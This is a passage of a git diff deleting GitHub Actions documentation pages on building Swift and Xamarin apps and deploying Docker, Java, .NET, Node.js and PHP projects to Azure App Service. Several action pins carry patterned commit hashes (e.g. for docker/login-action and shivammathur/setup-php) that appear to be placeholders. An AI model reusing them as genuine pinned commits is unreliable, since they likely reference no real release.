`swift-actions/setup-swift` action. This action finds a specific version of Swift from the tools cache on the runner and adds the necessary binaries to `PATH`. These changes will persist for the remainder of a job. For more information, see the [`swift-actions/setup-swift`](https://github.com/marketplace/actions/setup-swift) action. - -If you are using a self-hosted runner, you must install your desired Swift versions and add them to `PATH`. - -The examples below demonstrate using the `swift-actions/setup-swift` action. - -### Using multiple Swift versions - -You can configure your job to use multiple versions of Swift in a matrix. - -```yaml copy - -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Swift - -on: [push] - -jobs: - build: - name: {% raw %}Swift ${{ matrix.swift }} on ${{ matrix.os }}{% endraw %} - strategy: - matrix: - os: [ubuntu-latest, macos-latest] - swift: ["5.2", "5.3"] - runs-on: {% raw %}${{ matrix.os }}{% endraw %} - steps: - - uses: swift-actions/setup-swift@65540b95f51493d65f5e59e97dcef9629ddf11bf - with: - swift-version: {% raw %}${{ matrix.swift }}{% endraw %} - - uses: {% data reusables.actions.action-checkout %} - - name: Build - run: swift build - - name: Run tests - run: swift test -``` - -### Using a single specific Swift version - -You can configure your job to use a single specific version of Swift, such as `5.3.3`. - -{% raw %} - -```yaml copy -steps: - - uses: swift-actions/setup-swift@65540b95f51493d65f5e59e97dcef9629ddf11bf - with: - swift-version: "5.3.3" - - name: Get swift version - run: swift --version # Swift 5.3.3 -``` - -{% endraw %} - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code using Swift. This example demonstrates how to use `swift build` and `swift test` in a job: - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: swift-actions/setup-swift@65540b95f51493d65f5e59e97dcef9629ddf11bf - with: - swift-version: "5.3.3" - - name: Build - run: swift build - - name: Run tests - run: swift test -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-xamarin-applications.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-xamarin-applications.md deleted file mode 100644 index 31b18ad4922b..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-xamarin-applications.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Building and testing Xamarin applications -intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Xamarin application. -redirect_from: - - /actions/guides/building-and-testing-xamarin-applications - - /actions/automating-builds-and-tests/building-and-testing-xamarin-applications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Xamarin - - Xamarin.iOS - - Xamarin.Android - - Android - - iOS -shortTitle: Build & test Xamarin apps ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a workflow that performs continuous integration (CI) for your Xamarin project. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. - -For a full list of available Xamarin SDK versions on the {% data variables.product.prodname_actions %}-hosted macOS runners, see the README file for the version of macOS you want to use in the [{% data variables.product.prodname_actions %} Runner Images repository](https://github.com/actions/runner-images/tree/main/images/macos). - -## Prerequisites - -We recommend that you have a basic understanding of Xamarin, .NET Core SDK, YAML, workflow configuration options, and how to create a workflow file. For more information, see: - -* [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions) -* [Getting started with .NET](https://dotnet.microsoft.com/learn) -* [Learn Xamarin](https://dotnet.microsoft.com/learn/xamarin) - -{% ifversion ghec %} - -To use the examples in the guide, you will need a repository on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.actions.macos-unavailable-ghecom %} - -{% endif %} - -## Building Xamarin.iOS apps - -The example below demonstrates how to change the default Xamarin SDK versions and build a Xamarin.iOS application. - -```yaml -name: Build Xamarin.iOS app - -on: [push] - -jobs: - build: - - runs-on: macos-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set default Xamarin SDK versions - run: | - $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.12 --ios=14.10 - - - name: Set default Xcode 12.3 - run: | - XCODE_ROOT=/Applications/Xcode_12.3.0.app - echo "MD_APPLE_SDK_ROOT=$XCODE_ROOT" >> $GITHUB_ENV - sudo xcode-select -s $XCODE_ROOT - - - name: Setup .NET Core SDK 5.0.x - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: '5.0.x' - - - name: Install dependencies - run: nuget restore <sln_file_path> - - - name: Build - run: msbuild <csproj_file_path> /p:Configuration=Debug /p:Platform=iPhoneSimulator /t:Rebuild -``` - -## Building Xamarin.Android apps - -The example below demonstrates how to change default Xamarin SDK versions and build a Xamarin.Android application. - -```yaml -name: Build Xamarin.Android app - -on: [push] - -jobs: - build: - - runs-on: macos-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set default Xamarin SDK versions - run: | - $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.10 --android=10.2 - - - name: Setup .NET Core SDK 5.0.x - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: '5.0.x' - - - name: Install dependencies - run: nuget restore <sln_file_path> - - - name: Build - run: msbuild <csproj_file_path> /t:PackageForAndroid /p:Configuration=Debug -``` - -## Specifying a .NET version - -To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job. - -The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action. diff --git a/content/actions/use-cases-and-examples/building-and-testing/index.md b/content/actions/use-cases-and-examples/building-and-testing/index.md deleted file mode 100644 index ad1f98fb4ac1..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/index.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Building and testing -shortTitle: Build and test -intro: 'You can automatically build and test your projects with {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/building-and-testing-code-with-continuous-integration - - /actions/language-and-framework-guides - - /actions/language-and-framework-guides/github-actions-for-docker - - /actions/language-and-framework-guides/github-actions-for-java - - /actions/language-and-framework-guides/github-actions-for-javascript-and-typescript - - /actions/language-and-framework-guides/github-actions-for-python - - /actions/guides/building-and-testing-nodejs-or-python - - /actions/automating-builds-and-tests/building-and-testing-nodejs-or-python - - /actions/automating-builds-and-tests - - /actions/examples/using-scripts-to-test-your-code-on-a-runner -children: - - /building-and-testing-go - - /building-and-testing-java-with-ant - - /building-and-testing-java-with-gradle - - /building-and-testing-java-with-maven - - /building-and-testing-net - - /building-and-testing-nodejs - - /building-and-testing-powershell - - /building-and-testing-python - - /building-and-testing-ruby - - /building-and-testing-rust - - /building-and-testing-swift - - /building-and-testing-xamarin-applications ---- - diff --git a/content/actions/use-cases-and-examples/creating-an-example-workflow.md b/content/actions/use-cases-and-examples/creating-an-example-workflow.md deleted file mode 100644 index c7ca97960bd8..000000000000 --- a/content/actions/use-cases-and-examples/creating-an-example-workflow.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Creating an example workflow -intro: Learn how to create a basic workflow that is triggered by a push event. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Actions - - Workflows -shortTitle: Create an example workflow -layout: inline ---- - -## Introduction - -This guide shows you how to create a basic workflow that is triggered when code is pushed to your repository. - -{% data reusables.actions.workflow-templates-for-more-information %} - -{% data reusables.actions.workflow-basic-example-and-explanation %} diff --git a/content/actions/use-cases-and-examples/deploying/deploying-docker-to-azure-app-service.md b/content/actions/use-cases-and-examples/deploying/deploying-docker-to-azure-app-service.md deleted file mode 100644 index 581b02ad7912..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-docker-to-azure-app-service.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Deploying Docker to Azure App Service -intro: You can deploy a Docker container to Azure App Service as part of your continuous deployment (CD) workflows. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Containers - - Docker - - Azure App Service -redirect_from: - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -{% data reusables.actions.create-azure-app-plan %} - -1. Create a web app. - - For example, you can use the Azure CLI to create an Azure App Service web app: - - ```shell copy - az webapp create \ - --name MY_WEBAPP_NAME \ - --plan MY_APP_SERVICE_PLAN \ - --resource-group MY_RESOURCE_GROUP \ - --deployment-container-image-name nginx:latest - ``` - - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. - -{% data reusables.actions.create-azure-publish-profile %} - -1. Set registry credentials for your web app. - - Create a {% data variables.product.pat_v1 %} with the `repo` and `read:packages` scopes. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - - Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your {% data variables.product.pat_generic %} from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command: - - ```shell - az webapp config appsettings set \ - --name MY_WEBAPP_NAME \ - --resource-group MY_RESOURCE_GROUP \ - --settings DOCKER_REGISTRY_SERVER_URL=https://ghcr.io DOCKER_REGISTRY_SERVER_USERNAME=MY_REPOSITORY_OWNER DOCKER_REGISTRY_SERVER_PASSWORD=MY_PERSONAL_ACCESS_TOKEN - ``` - -1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch. - -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Build and deploy a container to an Azure Web App - -env: - AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name - -on: - push: - branches: - - main - -permissions: - contents: 'read' - packages: 'write' - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b - - - name: Log in to GitHub container registry - uses: docker/login-action@8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d - with: - registry: ghcr.io - username: {% raw %}${{ github.actor }}{% endraw %} - password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - - - name: Lowercase the repo name - run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} - - - name: Build and push container image to registry - uses: docker/build-push-action@9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f - with: - push: true - tags: ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %} - file: ./Dockerfile - - deploy: - runs-on: ubuntu-latest - - needs: build - - environment: - name: 'production' - url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} - - steps: - - name: Lowercase the repo name - run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} - - - name: Deploy to Azure Web App - id: deploy-to-webapp - uses: azure/webapps-deploy@85270a1854658d167ab239bce43949edb336fa7c - with: - app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} - publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} - images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}' -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-java-to-azure-app-service.md b/content/actions/use-cases-and-examples/deploying/deploying-java-to-azure-app-service.md deleted file mode 100644 index 9b5f3b875476..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-java-to-azure-app-service.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Deploying Java to Azure App Service -intro: You can deploy your Java project to Azure App Service as part of your continuous deployment (CD) workflows. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Java - - Azure App Service -redirect_from: - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -{% data reusables.actions.create-azure-app-plan %} - -1. Create a web app. - - For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime: - - ```bash copy - az webapp create \ - --name MY_WEBAPP_NAME \ - --plan MY_APP_SERVICE_PLAN \ - --resource-group MY_RESOURCE_GROUP \ - --runtime "JAVA|11-java11" - ``` - - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. - -{% data reusables.actions.create-azure-publish-profile %} - -1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch. - -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you want to use a Java version other than `11`, change `JAVA_VERSION`. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Build and deploy JAR app to Azure Web App - -env: - AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name - JAVA_VERSION: '11' # set this to the Java version to use - -on: - push: - branches: - - main - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Set up Java version - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: {% raw %}${{ env.JAVA_VERSION }}{% endraw %} - cache: 'maven' - - - name: Build with Maven - run: mvn clean install - - - name: Upload artifact for deployment job - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: java-app - path: '{% raw %}${{ github.workspace }}{% endraw %}/target/*.jar' - - deploy: - runs-on: ubuntu-latest - needs: build - environment: - name: 'production' - url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} - - steps: - - name: Download artifact from build job - uses: {% data reusables.actions.action-download-artifact %} - with: - name: java-app - - - name: Deploy to Azure Web App - id: deploy-to-webapp - uses: azure/webapps-deploy@85270a1854658d167ab239bce43949edb336fa7c - with: - app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} - publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} - package: '*.jar' -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-net-to-azure-app-service.md b/content/actions/use-cases-and-examples/deploying/deploying-net-to-azure-app-service.md deleted file mode 100644 index 04780c3bd330..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-net-to-azure-app-service.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Deploying .NET to Azure App Service -intro: You can deploy your .NET project to Azure App Service as part of your continuous deployment (CD) workflows. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Azure App Service -redirect_from: - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -{% data reusables.actions.create-azure-app-plan %} - -1. Create a web app. - - For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime: - - ```bash copy - az webapp create \ - --name MY_WEBAPP_NAME \ - --plan MY_APP_SERVICE_PLAN \ - --resource-group MY_RESOURCE_GROUP \ - --runtime "DOTNET|5.0" - ``` - - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. - -{% data reusables.actions.create-azure-publish-profile %} - -1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch. - -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`. If you use a version of .NET other than `5`, change `DOTNET_VERSION`. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Build and deploy ASP.Net Core app to an Azure Web App - -env: - AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name - AZURE_WEBAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root - DOTNET_VERSION: '5' # set this to the .NET Core version to use - -on: - push: - branches: - - main - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Set up .NET Core - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: {% raw %}${{ env.DOTNET_VERSION }}{% endraw %} - - - name: Set up dependency caching for faster builds - uses: {% data reusables.actions.action-cache %} - with: - path: ~/.nuget/packages - key: {% raw %}${{ runner.os }}-nuget-${{ hashFiles('**/packages.lock.json') }}{% endraw %} - restore-keys: | - {% raw %}${{ runner.os }}-nuget-{% endraw %} - - - name: Build with dotnet - run: dotnet build --configuration Release - - - name: dotnet publish - run: dotnet publish -c Release -o {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp - - - name: Upload artifact for deployment job - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: .net-app - path: {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp - - deploy: - runs-on: ubuntu-latest - needs: build - environment: - name: 'production' - url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} - - steps: - - name: Download artifact from build job - uses: {% data reusables.actions.action-download-artifact %} - with: - name: .net-app - - - name: Deploy to Azure Web App - id: deploy-to-webapp - uses: azure/webapps-deploy@85270a1854658d167ab239bce43949edb336fa7c - with: - app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} - publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} - package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %} -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-nodejs-to-azure-app-service.md b/content/actions/use-cases-and-examples/deploying/deploying-nodejs-to-azure-app-service.md deleted file mode 100644 index 47e3381b9519..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-nodejs-to-azure-app-service.md +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Deploying Node.js to Azure App Service -intro: You can deploy your Node.js project to Azure App Service as part of your continuous deployment (CD) workflows. -redirect_from: - - /actions/guides/deploying-to-azure-app-service - - /actions/deployment/deploying-to-azure-app-service - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Node - - JavaScript - - Azure App Service ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -{% data reusables.actions.create-azure-app-plan %} - -1. Create a web app. - - For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime: - - ```bash copy - az webapp create \ - --name MY_WEBAPP_NAME \ - --plan MY_APP_SERVICE_PLAN \ - --resource-group MY_RESOURCE_GROUP \ - --runtime "NODE|14-lts" - ``` - - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. - -{% data reusables.actions.create-azure-publish-profile %} - -1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build, test, and deploy the Node.js project to Azure App Service when there is a push to the `main` branch. - -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -on: - push: - branches: - - main - -env: - AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name - AZURE_WEBAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root - NODE_VERSION: '14.x' # set this to the node version to use - -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Set up Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: {% raw %}${{ env.NODE_VERSION }}{% endraw %} - cache: 'npm' - - - name: npm install, build, and test - run: | - npm install - npm run build --if-present - npm run test --if-present - - name: Upload artifact for deployment job - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: node-app - path: . - - deploy: - runs-on: ubuntu-latest - needs: build - environment: - name: 'production' - url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} - - steps: - - name: Download artifact from build job - uses: {% data reusables.actions.action-download-artifact %} - with: - name: node-app - - - name: 'Deploy to Azure WebApp' - id: deploy-to-webapp - uses: azure/webapps-deploy@85270a1854658d167ab239bce43949edb336fa7c - with: - app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} - publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} - package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %} -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. -* The [Create a Node.js web app in Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs) quickstart in the Azure web app documentation demonstrates using {% data variables.product.prodname_vscode %} with the [Azure App Service extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice). diff --git a/content/actions/use-cases-and-examples/deploying/deploying-php-to-azure-app-service.md b/content/actions/use-cases-and-examples/deploying/deploying-php-to-azure-app-service.md deleted file mode 100644 index 3f2b171ee3ce..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-php-to-azure-app-service.md +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: Deploying PHP to Azure App Service -intro: You can deploy your PHP project to Azure App Service as part of your continuous deployment (CD) workflows. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Azure App Service -redirect_from: - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -{% data reusables.actions.create-azure-app-plan %} - -1. Create a web app. - - For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime: - - ```bash copy - az webapp create \ - --name MY_WEBAPP_NAME \ - --plan MY_APP_SERVICE_PLAN \ - --resource-group MY_RESOURCE_GROUP \ - --runtime "php|7.4" - ``` - - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. - -{% data reusables.actions.create-azure-publish-profile %} - -1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch. - -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Build and deploy PHP app to Azure Web App - -env: - AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name - AZURE_WEBAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root - PHP_VERSION: '8.x' # set this to the PHP version to use - -on: - push: - branches: - - main - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Setup PHP - uses: shivammathur/setup-php@1f2e3d4c5b6a7f8e9d0c1b2a3e4f5d6c7b8a9e0f - with: - php-version: {% raw %}${{ env.PHP_VERSION }}{% endraw %} - - - name: Check if composer.json exists - id: check_files - uses: andstor/file-existence-action@2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b - with: - files: 'composer.json' - - - name: Get Composer Cache Directory - id: composer-cache - if: steps.check_files.outputs.files_exists == 'true' - run: | - echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - - - name: Set up dependency caching for faster installs - uses: {% data reusables.actions.action-cache %} - if: steps.check_files.outputs.files_exists == 'true' - with: - path: {% raw %}${{ steps.composer-cache.outputs.dir }}{% endraw %} - key: {% raw %}${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}{% endraw %} - restore-keys: | - {% raw %}${{ runner.os }}-composer-{% endraw %} - - - name: Run composer install if composer.json exists - if: steps.check_files.outputs.files_exists == 'true' - run: composer validate --no-check-publish && composer install --prefer-dist --no-progress - - - name: Upload artifact for deployment job - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: php-app - path: . - - deploy: - runs-on: ubuntu-latest - needs: build - environment: - name: 'production' - url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} - - steps: - - name: Download artifact from build job - uses: {% data 